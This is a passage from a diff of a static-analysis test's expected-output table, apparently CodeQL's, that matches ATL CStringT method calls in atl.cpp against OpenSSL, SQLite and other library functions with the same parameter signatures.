Append | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| atl.cpp:425:13:425:18 | Append | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| atl.cpp:425:13:425:18 | Append | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| atl.cpp:425:13:425:18 | Append | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| atl.cpp:425:13:425:18 | Append | (RSA *,int) | | RSA_clear_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (RSA *,int) | | RSA_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| atl.cpp:425:13:425:18 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| atl.cpp:425:13:425:18 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| atl.cpp:425:13:425:18 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_key_update | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_purpose | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_read_ahead | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_security_level | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_shutdown | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_trust | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL *,int) | | SSL_set_verify_depth | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_CTX *,int) | | ssl_md | 1 | +| atl.cpp:425:13:425:18 | Append | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| atl.cpp:425:13:425:18 | Append | (X509 *,int) | | X509_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (X509 *,int) | | X509_self_signed | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| atl.cpp:425:13:425:18 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| atl.cpp:425:13:425:18 | Append | (acttab *,int) | | acttab_insert | 1 | +| atl.cpp:425:13:425:18 | Append | (char *,int) | | PEM_proc_type | 1 | | atl.cpp:425:13:425:18 | Append | (char,int) | CStringT | CStringT | 1 | +| atl.cpp:425:13:425:18 | Append | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| atl.cpp:425:13:425:18 | Append | (const BIGNUM *,int) | | BN_get_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| atl.cpp:425:13:425:18 | Append | (const BIO *,int) | | BIO_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const BIO *,int) | | BIO_test_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const DH *,int) | | DH_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const DH *,int) | | DH_test_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (const DH *,int) | | ossl_dh_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const DSA *,int) | | DSA_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const DSA *,int) | | DSA_test_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (const DSA *,int) | | ossl_dsa_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| atl.cpp:425:13:425:18 | Append | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| atl.cpp:425:13:425:18 | Append | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| atl.cpp:425:13:425:18 | Append | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| atl.cpp:425:13:425:18 | Append | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| atl.cpp:425:13:425:18 | Append | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| atl.cpp:425:13:425:18 | Append | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| atl.cpp:425:13:425:18 | Append | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| atl.cpp:425:13:425:18 | Append | (const RSA *,int) | | RSA_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const RSA *,int) | | RSA_test_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (const RSA *,int) | | ossl_rsa_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const SSL *,int) | | SSL_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| atl.cpp:425:13:425:18 | Append | (const UI *,int) | | UI_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509 *,int) | | X509_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509 *,int) | | X509_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| atl.cpp:425:13:425:18 | Append | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | atl.cpp:425:13:425:18 | Append | (const XCHAR *,int) | CStringT | CStringT | 1 | | atl.cpp:425:13:425:18 | Append | (const YCHAR *,int) | CStringT | CStringT | 1 | +| atl.cpp:425:13:425:18 | Append | (const char *,int) | | DH_meth_new | 1 | +| atl.cpp:425:13:425:18 | Append | (const char *,int) | | DSA_meth_new | 1 | +| atl.cpp:425:13:425:18 | Append | (const char *,int) | | Jim_StrDupLen | 1 | +| atl.cpp:425:13:425:18 | Append | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| atl.cpp:425:13:425:18 | Append | (const char *,int) | | RSA_meth_new | 1 | +| atl.cpp:425:13:425:18 | Append | (const char *,int) | | parse_yesno | 1 | +| atl.cpp:425:13:425:18 | Append | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| atl.cpp:425:13:425:18 | Append | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| atl.cpp:425:13:425:18 | Append | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| atl.cpp:425:13:425:18 | Append | (int *,int) | | X509_PURPOSE_set | 1 | +| atl.cpp:425:13:425:18 | Append | (int *,int) | | X509_TRUST_set | 1 | +| atl.cpp:425:13:425:18 | Append | (int,int) | | BN_security_bits | 1 | +| atl.cpp:425:13:425:18 | Append | (int,int) | | EVP_MD_meth_new | 1 | +| atl.cpp:425:13:425:18 | Append | (int,int) | | EVP_PKEY_meth_new | 1 | +| atl.cpp:425:13:425:18 | Append | (int,int) | | acttab_alloc | 1 | +| atl.cpp:425:13:425:18 | Append | (rule *,int) | | Configlist_add | 1 | +| atl.cpp:425:13:425:18 | Append | (rule *,int) | | Configlist_addbasis | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| atl.cpp:425:13:425:18 | Append | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| atl.cpp:425:13:425:18 | Append | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| atl.cpp:425:13:425:18 | Append | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| atl.cpp:425:13:425:18 | Append | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (uint16_t,int) | | tls1_group_id2nid | 1 | +| atl.cpp:425:13:425:18 | Append | (unsigned char *,int) | | RAND_bytes | 1 | +| atl.cpp:425:13:425:18 | Append | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| atl.cpp:425:13:425:18 | Append | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| atl.cpp:425:13:425:18 | Append | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| atl.cpp:425:13:425:18 | Append | (void *,int) | | DSO_dsobyaddr | 1 | +| atl.cpp:425:13:425:18 | Append | (void *,int) | | sqlite3_realloc | 1 | | atl.cpp:425:13:425:18 | Append | (wchar_t,int) | CStringT | CStringT | 1 | | atl.cpp:426:13:426:22 | AppendBSTR | (wchar_t *) | CStringT | CStringT | 0 | +| atl.cpp:427:13:427:23 | AppendBytes | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIGNUM *,int) | | BN_clear_bit | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIGNUM *,int) | | BN_mask_bits | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIGNUM *,int) | | BN_set_bit | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIGNUM *,int) | | BN_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIGNUM *,int) | | bn_expand2 | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIGNUM *,int) | | bn_wexpand | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIO *,int) | | BIO_clear_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIO *,int) | | BIO_find_type | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIO *,int) | | BIO_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIO *,int) | | BIO_set_init | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIO *,int) | | BIO_set_retry_reason | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIO *,int) | | BIO_set_shutdown | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (BIO *,int) | | TXT_DB_read | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (DH *,int) | | DH_clear_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (DH *,int) | | DH_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (DSA *,int) | | DSA_clear_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (DSA *,int) | | DSA_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (EVP_PKEY_CTX *,int) | | 